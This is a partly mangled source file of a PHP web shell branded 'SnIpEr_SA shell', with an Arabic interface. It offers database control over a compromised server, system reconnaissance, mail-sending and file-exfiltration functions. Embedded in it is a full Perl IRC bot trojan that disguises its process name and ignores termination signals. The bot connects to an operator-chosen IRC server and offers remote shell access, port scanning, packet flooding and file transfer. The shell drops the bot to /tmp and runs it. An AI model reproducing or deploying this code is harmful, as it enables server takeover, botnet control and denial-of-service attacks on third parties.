$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_COOKIE as $k=>$v)
{
$_COOKIE[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="SnIpEr_SA shell"');
header('HTTP/1.0 401 Unauthorized');
exit("SnIpEr_SA : Access Denied\n";
for ($i =0; $i < count($dbnamearray); $i++) {
echo"";
$dbn=$dbnamearray[$i];
$va="الذهاب الى قاعدة $dbn";
goto(' ', $dbn,$action, 'but', 'db', $va );
$dbs=mysize($dbnamearray[$i],"");
echo" $dbs
\n";
}
//********************* Show Logout Button **********
function endsess(){
echo"";
}
//********************************************************************
function connectmysql(){
//Connects to the MySQL Database.
if (isset($_SESSION['user']) && isset($_SESSION['password'])){
$user = $_SESSION['user'];
$pass = $_SESSION['password'];
}else{
display_foot();
echo"\n\n";
exit();
}
$link = @mysql_connect($_SESSION['host'], $_SESSION['user'], $_SESSION['password']);
if(! $link){
echo"\n";
echo"Unable to connect to the database server.
\n";
return false;
exit();
} else{
return $link;
}
}
//*********************************************************************
function connectdb($db, $link){
if(! mysql_select_db($db,$link)){
echo"Unable to locate database $db.$va ";
//}
}
//*********************** ShowDB ***********************************
function showdb(){
//function showdb($backuppath){
$link=connectmysql();
if ($link){
echo"";
echo"
\n";
echo"
إنشاء قاعدة جديدة \n";
echo"";
echo"
قائمه القواعد المتوفره \n";
//Restrict the database for users
$dbnamearray= dbrestrict();
showdbs($dbnamearray);
echo"
";
echo"4";
echo" 2";
echo" \n";
}elseif($ft=="SET"|| $ft=="ENUM"){
echo" \n";
//edit Record
echo"$nslash ";
}
echo" ";
}
//***********************Remove Array Copy********************************
//removes copies from an array $x.
function removearraycopy($x){
$leng= count($x);
sort($x);
$farr=array();
for ($i =0; $i < $leng; $i++){
$flag=false;
for ($s =0; $s < count($farr); $s++){
if($x[$i]==$farr[$s]){
$flag=true;
}
}
if ($flag == false){
$farr[count($farr)] = $x[$i];
}
}
return $farr;
}
//*******************************************************
function whichpage($num_rows, $pagemax, $pg, $tablename, $searchval){
$pgs = $num_rows/$pagemax;
$pgs=ceil($pgs);
//round up the number of pages.
echo" \n";
$pagescrol="";
$sval="";
if($pgs >1){
$pagescrol="\n";
$nxt=$pg+1;
$bk=$pg-1;
$lst=$pgs;
$end=$lst-1;
$showp=$pg+1;
if($searchval !=""){
$sval="&searchval=$searchval";
}
$pagescrol .= "
\n";
$pagescrol.="
$t bytes ";
}else{
$total="Unknowen";
}
return($total);
}
//**************************************
//DEBUG to show all being passed to the page
function showpassingvars(){
echo"Get: ";
foreach($_GET as $pram=>$value){
echo"$pram: $value, ";
}
echo"سكربت الاتصال بقواعد البيانات \n";
//******************* Session Logon ***********************
if(isset($_POST['logout'])){
$_POST['dbname']="";
session_unset();
session_destroy();
}
if(isset($_POST['userid']) && isset($_POST['pword1'])){
$_SESSION['user'] = $_POST['userid'];
$_SESSION['password'] = $_POST['pword1'];
}
if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){
echo"";
echo"
ادخل بيانات السيرفر المخترق \n";
If(!isset($dbnamearray)){
$dbnamearray="";
}
show_login($dbnamearray);
echo"";
}else{
//show logout option.
echo"";
endsess();
echo"
";
}
//*****dbname
if(isset($_POST['dbname'])){
$dbname=$_POST['dbname'];
$_SESSION['dbname']= $_POST['dbname'];
}
//***** Host
if(isset($_POST['host'])){
$host=$_POST['host'];
$_SESSION['host']=$_POST['host'];
}
//******set tablename
if(isset($_GET['tablename']) ){
$tablename=$_GET['tablename'];
}elseif(isset($_POST['tablename'])){
$tablename=$_POST['tablename'];
}
//********** pagemax
if(isset($_POST['pagemax'])){ //&& is_int($_POST['pagemax'])){
$isnum=true;
for($o=0; $o9){
$isnum=false;
}
}
if($_POST['pagemax']>0 && $isnum){
$_SESSION['pagemax']=$_POST['pagemax'];
}
}
if(isset($_SESSION['pagemax'])){
$pagemax=$_SESSION['pagemax'];
}
//******** create a new Database ************
if(isset($_POST['cndb'])){
connectmysql();
$sql="create database $_POST[ndbname]";
$result=exequery($sql, " ", $_POST['ndbname']);
if ($result){
$_SESSION['dbname'] = $_POST['ndbname'];
$sql="Use $_POST[ndbname]";
$result=exequery($sql, " ", $_POST['ndbname']);
if($result){
echo"قاعدة جديدة $_SESSION[dbname] \n";
}
}
}
//*********************************************
if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset($_SESSION['user'])){ //*********post
//Databse names
showdb();
}
//************************ Choose DB *************
if(isset($_POST['dbname']) && $_POST['dbname']==""){
showdb();
}
//**********
if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){
//*************************************
//connection
if (isset($_SESSION['dbname'])){
$dbsetname = $_SESSION['dbname'];
}elseif(isset($_POST['dbname'])){
$dbsetname = $_POST['dbname'];
$_SESSION['dbname'] = $_POST['dbname'];
}else{
$dbsetname = $_POST['dbna'];
$_SESSION['dbname'] = $_POST['dbna'];
}
}
//*************************** we have a DB set
if(isset($dbsetname) && $dbsetname!=""){
$link= connectmysql();
//echo"DBS: $dbsetname";
$conn = connectdb($dbsetname, $link);
//*********** Drop Table **************
if(isset($_POST['deltable'])){
$showall=false;
$tablename=$_POST['tablename'];
echo"!!! تحذير !!! \n";
$va="Drop $tablename";
goto($tablename, $dbname,$action, 'del', 'droptab', $va );
}
if(isset($_POST['droptab'])){
$tablename=$_POST['tablename'];
$dsql = "drop table $tablename";
$result=exequery($dsql, $tablename, $dbname);
unset($tablename); //="false";
unset($_POST['tablename']);
}
//*****************Write Your Own Query *****************
if(isset($_POST['wyoq'])){ //post
$value="الواجهه الرئيسيه للسكربت";
goto($tablename, $dbname, $action, 'but', 'start', $value );
echo"";
for($r=0; $r < $numrows; $r++){
echo"";
$row=mysql_fetch_array($result);
for($col = 0; $col < $flds; $col ++){
$nslash = StripSlashes($row[$col]);
echo"$nslash ";
}
echo" ";
}
echo"
";
}elseif (mysql_affected_rows()){
echo" Number of Rows affected: ".mysql_affected_rows();
}else{
echo" Nothing returned from the query.";
}
}
// ****************List Tables***************************
if( ! isset($tablename) || $tablename==" " ){
$dbname=$_SESSION['dbname'];
$result = mysql_list_tables($_SESSION['dbname']);
$numtab = mysql_num_rows ($result);
if($numtab == 1){
$_SESSION['tablename'] =mysql_tablename($result, 0);
}
//***************** Buttons ******************************
if (isset($_POST['runquery'])){
$dbname=$_SESSION['dbname'];
$value="$dbname Start"; //Table Manager Start
goto("", $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
}elseif (! isset($_POST['wyoq']) && ! isset($_POST['runquery'])){ //write your own query.
echo"\n";
echo"";
$va="إنشاء جدول جديد";
goto("", $_SESSION['dbname'], "create.php", 'but', 'create', $va );
// echo"Create new Table \n";
echo" ";
$value="الواجهه الرئيسيه"; //Choose DB
goto("", "", $action, 'but', 'db', $value );
echo" \n";
$value="Write Your Own Query";
goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );
echo"
";
echo"\n";
for ($i =0; $i < $numtab; $i++) {
$tb_names[$i] = mysql_tablename($result, $i);
echo"\n";
$va="عرض جدول * $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],$action, 'but', $tb_names[$i], $va );
echo" \n";
$va="مسح جدول $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],$action, 'del', 'deltable', $va );
echo" \n";
$va="Alter Table $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va );
echo" \n";
searchtableform($tb_names[$i], $_SESSION['dbname']);
echo" ";
//Table size in bytes
echo mysize($_SESSION['dbname'],$tb_names[$i]);
echo"
\n";
}
}else{ //tablename is set
//***************** menu *****************************************
echo"\n";
$value="$_SESSION[dbname] Start"; //Ex Table Manager Start
goto($tablename, $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
echo" \n";
echo"\n";
$value="الواجهه الرئيسيه"; //Choose DB
goto("", "", $action, 'but', 'start', $value );
echo" \n";
echo"\n";
$value="Write Your Own Query";
goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );
echo" \n";
if (!isset($_POST['add']) && !isset($_POST['deltable']) && isset($tablename)){
echo"";
//$tablename = $_POST['tablename'];
$va="Add a $tablename Record";
goto($tablename, $_SESSION['dbname'], 'alter.php', 'but', 'add', $va );
echo" \n";
}
if (!isset($_POST['deltable'])){
echo"\n";
searchtableform($tablename, $_SESSION['dbname']);
echo" \n";
}
echo"
\n";
echo"\n";
echo"".mysql_field_name($fields, $i)." \n";
//Find the primary key
$flagstring = mysql_field_flags ($result, $i);
if(eregi("primary",$flagstring )){
$pk[$z] = $i;
$pkfield[$z]= mysql_field_name($fields, $i);
$z++;
}
}
echo"
\n";
if (!isset($_POST['add']) && !isset($_POST['edit']) && !isset($_POST['deltable']) && !isset($_POST['droptab']) && !isset($_POST['wyoq']) && $tablename){
echo"";
echo"";
$tablename=$_POST['tablename'];
$va="Alter Table $tablename";
goto( $tablename, $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va );
echo"
\n";
}
}
}
display_foot();
echo "Can't connect to SQL server
";
else
{
if(!empty($sql->base)&&!$sql->select_db()) echo "لم يستطيع تحديد قاعده البيانات
";
else
{
foreach($querys as $num=>$query)
{
if(strlen($query)>5)
{
echo "Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)." ";
foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
$keys = @implode(" ", $sql->columns);
echo " ".$keys." ",$sql->rows[$i]);
echo ' '.$values.'
";
}
break;
case '2':
$ar = $sql->affected_rows()?($sql->affected_rows()):('0');
echo "no value ';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
function U_wordwrap($str)
{
$str = @wordwrap(@htmlspecialchars($str), 100, '', 'Directive
Local Value
Master Value
'.ws(3).''.$key.' '.U_value($value['local_value']).'
'.U_value($value['global_value']).'
';
}
echo "';
$cpuf = @file("cpuinfo");
if($cpuf)
{
$c = @sizeof($cpuf);
for($i=0;$i<$c;$i++)
{
$info = @explode(":",$cpuf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
'.ws(3).' ---
';
echo "';
$memf = @file("meminfo");
if($memf)
{
$c = sizeof($memf);
for($i=0;$i<$c;$i++)
{
$info = explode(":",$memf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
'.ws(3).' ---
';
echo ":: ";
$table_up2 = " ::
";
$table_up3 = "";
$table_end1 = " 4 ";
$lb = "[ ";
$rb = "] ";
$font = "";
$ts = "";
$fs = "";
if(isset($_GET['users']))
{
if(!$users=get_users()) { echo " ".$lang[$language.'_text96']." ';
foreach($users as $user) { echo $user." ';
}
echo "";
foreach($res as $file=>$v)
{
$r .= "";
$r .= "".ws(3);
$r .= (!$unix)? str_replace("/","\\",$file) : $file;
$r .= " ";
foreach($v as $a=>$b)
{
$r .= "";
$r .= "".$a." ".ws(2).$b." \n";
}
}
$r .= "
";
echo $r;
}
else
{
echo "".$lang[$language.'_text56']."
";
}
echo "';
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '
';
return null;
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
$ret = "".$t1." ".$t2." \\1 $ircserver $ircchan $ircadmin $irclabel Dont Forget to Delete Loader.pl in /tmp
";
#######################################################
######################IRC Trojan##########################
$file="
################ CONFIGURACAO #################################################################
my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
#----------------------------------------------################################################
my \$linas_max='48'; # Evita o flood :) depois de X linhas #
#----------------------------------------------################################################
my \$sleep='4'; # ele dorme X segundos #
##################### IRC #####################################################################
my @adms=(\"$ircadmin\"); # Nick do administrador #
#----------------------------------------------################################################
my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
#----------------------------------------------################################################
my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
# aparecer com numero radonamico no final #
#----------------------------------------------################################################
my \$ircname = 'Linux'; # User ID #
#----------------------------------------------################################################
chop (my \$realname = `uname -a`); # Full Name #
#----------------------------------------------################################################
\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
# caso nمo seja especificado no argumento #
#----------------------------------------------################################################
my \$porta='6667'; # Porta do servidor de irc #
################ ACESSO A SHELL ###############################################################
my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
###############################################################################################
my \$VERSAO = '0.2';
\$SIG{'INT'} = 'IGNORE';
\$SIG{'HUP'} = 'IGNORE';
\$SIG{'TERM'} = 'IGNORE';
\$SIG{'CHLD'} = 'IGNORE';
\$SIG{'PS'} = 'IGNORE';
\$SIG{'STOP'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir(\"/\");
\$servidor=\"\$ARGV[0]\" if \$ARGV[0];
$0=\"\$processo\".\"\0\"x16;;
my \$pid=fork;
exit if \$pid;
die \"Problema com o fork: $!\" unless defined(\$pid);
my \$dcc_sel = new IO::Select->new();
#############################
# B0tchZ na veia ehehe :P #
#############################
\$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my \$socket = \$_[0];
print \$socket \"\$_[1]\\n\";
} else {
print \$IRC_cur_socket \"\$_[0]\\n\";
}
}
#################################
sub conectar {
my \$meunick = \$_[0];
my \$servidor_con = \$_[1];
my \$porta_con = \$_[2];
my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
if (defined(\$IRC_socket)) {
\$IRC_cur_socket = \$IRC_socket;
\$IRC_socket->autoflush(1);
\$sel_cliente->add(\$IRC_socket);
\$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
\$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
\$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
nick(\"\$meunick\");
sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
sleep 1;
}
} #####################
my \$line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
&DCC::connections;
my @ready = \$sel_cliente->can_read(0);
next unless(@ready);
foreach \$fh (@ready) {
\$IRC_cur_socket = \$fh;
\$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
\$nread = sysread(\$fh, \$msg, 4096);
if (\$nread == 0) {
\$sel_cliente->remove(\$fh);
\$fh->close;
delete(\$irc_servers{\$fh});
}
@lines = split (/\\n/, \$msg);
for(my \$c=0; \$cnew(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
if (\$scansock) {
push (@aberta, \$porta);
\$scansock->close;
}
}
if (@aberta) {
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
} else {
sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
}
}
if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
\$dtime = 1 if \$dtime == 0;
my %bytes;
\$bytes{igmp} = $2 * \$pacotes{igmp};
\$bytes{icmp} = $2 * \$pacotes{icmp};
\$bytes{o} = $2 * \$pacotes{o};
\$bytes{udp} = $2 * \$pacotes{udp};
\$bytes{tcp} = $2 * \$pacotes{tcp};
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\");
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\");
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Média de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");
}
exit;
}
}
}
##########################
sub ircase {
my (\$kem, \$printl, \$case) = @_;
if (\$case =~ /^join (.*)/) {
j(\"$1\");
}
if (\$case =~ /^part (.*)/) {
p(\"$1\");
}
if (\$case =~ /^rejoin\s+(.*)/) {
my \$chan = $1;
if (\$chan =~ /^(\d+) (.*)/) {
for (my \$ca = 1; \$ca = \$ftime;
}
return(\$cur_time, %pacotes);
}
#############
# ALIASES #
#############
sub action {
return unless $#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
}
sub ctcp {
return unless $#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
}
sub msg {
return unless $#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
}
sub notice {
return unless $#_ == 1;
sendraw(\"NOTICE \$_[0] :\$_[1]\");
}
sub op {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +o \$_[1]\");
}
sub deop {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] -o \$_[1]\");
}
sub hop {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub dehop {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub voice {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +v \$_[1]\");
}
sub devoice {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] -v \$_[1]\");
}
sub ban {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +b \$_[1]\");
}
sub unban {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] -b \$_[1]\");
}
sub kick {
return unless $#_ == 1;
sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
}
sub modo {
return unless $#_ == 0;
sendraw(\"MODE \$_[0] \$_[1]\");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw(\"JOIN \$_[0]\");
}
sub p { part(@_); }
sub part {sendraw(\"PART \$_[0]\");}
sub nick {
return unless $#_ == 0;
sendraw(\"NICK \$_[0]\");
}
sub invite {
return unless $#_ == 1;
sendraw(\"INVITE \$_[1] \$_[0]\");
}
sub topico {
return unless $#_ == 1;
sendraw(\"TOPIC \$_[0] \$_[1]\");
}
sub topic { topico(@_); }
sub whois {
return unless $#_ == 0;
sendraw(\"WHOIS \$_[0]\");
}
sub who {
return unless $#_ == 0;
sendraw(\"WHO \$_[0]\");
}
sub names {
return unless $#_ == 0;
sendraw(\"NAMES \$_[0]\");
}
sub away {
sendraw(\"AWAY \$_[0]\");
}
sub back { away(); }
sub quit {
sendraw(\"QUIT :\$_[0]\");
}
# DCC
#########################
package DCC;
sub connections {
my @ready = \$dcc_sel->can_read(1);
# return unless (@ready);
foreach my \$fh (@ready) {
my \$dcctipo = \$DCC{\$fh}{tipo};
my \$arquivo = \$DCC{\$fh}{arquivo};
my \$bytes = \$DCC{\$fh}{bytes};
my \$cur_byte = \$DCC{\$fh}{curbyte};
my \$nick = \$DCC{\$fh}{nick};
my \$msg;
my \$nread = sysread(\$fh, \$msg, 10240);
if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
\$DCC{\$fh}{status} = \"Cancelado\";
\$DCC{\$fh}{ftime} = time;
\$dcc_sel->remove(\$fh);
\$fh->close;
next;
}
if (\$dcctipo eq \"get\") {
\$DCC{\$fh}{curbyte} += length(\$msg);
my \$cur_byte = \$DCC{\$fh}{curbyte};
open(FILE, \">> \$arquivo\");
print FILE \"\$msg\" if (\$cur_byte remove(\$fh);
\$fh->close;
\$DCC{\$fh}{status} = \"Recebido\";
\$DCC{\$fh}{ftime} = time;
next;
}
} elsif (\$dcctipo eq \"send\") {
my \$send = \$fh->accept;
\$send->autoflush(1);
\$dcc_sel->add(\$send);
\$dcc_sel->remove(\$fh);
\$DCC{\$send}{tipo} = 'sendcon';
\$DCC{\$send}{itime} = time;
\$DCC{\$send}{nick} = \$nick;
\$DCC{\$send}{bytes} = \$bytes;
\$DCC{\$send}{curbyte} = 0;
\$DCC{\$send}{arquivo} = \$arquivo;
\$DCC{\$send}{ip} = \$send->peerhost;
\$DCC{\$send}{porta} = \$send->peerport;
\$DCC{\$send}{status} = \"Enviando\";
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
open(FILE, \"close;
\$dcc_sel->remove(\$fh);
\$DCC{\$fh}{status} = \"Enviado\";
\$DCC{\$fh}{ftime} = time;
next;
}
open(SENDFILE, \"new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
} until \$sendsock;
\$DCC{\$sendsock}{tipo} = 'send';
\$DCC{\$sendsock}{nick} = \$nick;
\$DCC{\$sendsock}{bytes} = \$size_total;
\$DCC{\$sendsock}{arquivo} = \$arquivo;
&::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");
}
sub GET {
my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
return(0) if (-e \"\$arquivo\");
if (open(FILE, \"> \$arquivo\")) {
close FILE;
} else {
return(0);
}
my \$dccip=fixaddr(\$dcclongip);
return(0) if (\$dccporta \"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
\$dccsock->autoflush(1);
\$dcc_sel->add(\$dccsock);
\$DCC{\$dccsock}{tipo} = 'get';
\$DCC{\$dccsock}{itime} = time;
\$DCC{\$dccsock}{nick} = \$nick;
\$DCC{\$dccsock}{bytes} = \$bytes;
\$DCC{\$dccsock}{curbyte} = 0;
\$DCC{\$dccsock}{arquivo} = \$arquivo;
\$DCC{\$dccsock}{ip} = \$dccip;
\$DCC{\$dccsock}{porta} = \$dccporta;
\$DCC{\$dccsock}{status} = \"Recebendo\";
}
############################
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
my \$socket = shift;
my \$sock_tipo = \$DCC{\$socket}{tipo};
unless (lc(\$sock_tipo) eq \"chat\") {
my \$nick = \$DCC{\$socket}{nick};
my \$arquivo = \$DCC{\$socket}{arquivo};
my \$itime = \$DCC{\$socket}{itime};
my \$ftime = time;
my \$status = \$DCC{\$socket}{status};
\$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});
my \$d_time = \$ftime-\$itime;
my \$cur_byte = \$DCC{\$socket}{curbyte};
my \$bytes_total = \$DCC{\$socket}{bytes};
my \$rate = 0;
\$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
my \$porcen = (\$cur_byte*100)/\$bytes_total;
my (\$r_duv, \$p_duv);
if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
\$r_duv = $3; \$r_duv++ if $4 >= 5;
\$rate = \"$1\.$2\".\"\$r_duv\";
}
if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
\$p_duv = $3; \$p_duv++ if $4 >= 5;
\$porcen = \"$1\.$2\".\"\$p_duv\";
}
return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
}
return(0);
}
# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr {
my (\$address) = @_;
chomp \$address; # just in case, sigh.
if (\$address =~ /^\d+$/) {
return inet_ntoa(pack \"N\", \$address);
} elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return \$address;
} elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
return inet_ntoa(((gethostbyname(\$address))[4])[0]);
} else {
return;
}
}
############################
";
$bot = "/tmp/ircs.pl";
$open = fopen($bot,"w");
fputs($open,$file);
fclose($open);
$cmd="perl $bot";
$cmd2="rm $bot";
system($cmd);
system($cmd2);
$_POST['cmd']="echo \"Now script try connect to ircserver ...\"";
}
if($unix)
{
if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
if($safe_mode) { $sysctl = '-'; }
else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
else
{
$sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
if(empty($sysctl)) { $sysctl = '-'; }
setcookie('sysctl',$sysctl);
}
}
echo $head;
echo '';
if(empty($_POST['cmd'])) {
$serv = array(127,192,172,10);
$addr=@explode('.', $_SERVER['SERVER_ADDR']);
$current_version = str_replace('.','',$version);
if (!in_array($addr[0], $serv)) {
@print "'.ws(2).' ';
echo ws(2)."".date ("d-m-Y H:i:s")." ";
echo ws(2).$lb." الرئيسيه SQL phpinfo php.ini cpu mem users tmp delete ";
echo (($safe_mode)?("فعال "):("غير فعال "));
echo " ".ws(2);
echo "اصدار البي اتش بي: ".@phpversion()." ";
$curl_on = @function_exists('curl_version');
echo ws(2);
echo "الكيرل: ".(($curl_on)?("فعال "):("غير فعال "));
echo " ".ws(2);
echo "ماي سكل: ";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "فعال "; } else { echo "غير فعال "; }
echo " ".ws(2);
echo "ام اس سكل: ";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "فعال ";}else{echo "غير فعال ";}
echo " ".ws(2);
echo "بوست قري سكل: ";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "فعال ";}else{echo "غير فعال ";}
echo " ".ws(2);
echo "اوراكل: ";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "فعال ";}else{echo "مغلق ";}
echo " ";
if(''==($df=@ini_get('disable_functions'))){echo "لايوجد ";}else{echo "$df ";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
echo "".view_size($free)." المساحة الكلية: ".view_size($all)." ";
echo "";
$reg_g = @ini_get("register_globals");
if($reg_g){
echo "فعال "; } else { echo "غير فعال "; }
echo " ".ws(2);
echo "open_basedir: ";
$openbasedi = @ini_get("open_basedir");
if($openbasedi){
echo "فعال "; } else { echo "غير فعال "; }
echo " ".ws(2);
echo '
';
echo $font;
if($unix){
echo 'uname -a :'.ws(1).' ";
echo "";
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."Your ip: ".$_SERVER["REMOTE_ADDR"]." - Server ip: ".gethostbyname($_SERVER["HTTP_HOST"])." ";
echo " OS :'.ws(1).' ";
echo "";
echo ws(3).@substr(@php_uname(),0,120)."Your ip: ".$_SERVER["REMOTE_ADDR"]." - Server ip: ".gethostbyname($_SERVER["HTTP_HOST"])." ";
echo "
";
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
{
$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
err(6+$res);
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
{
if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
else
{
$filename = @basename($_POST['loc_file']);
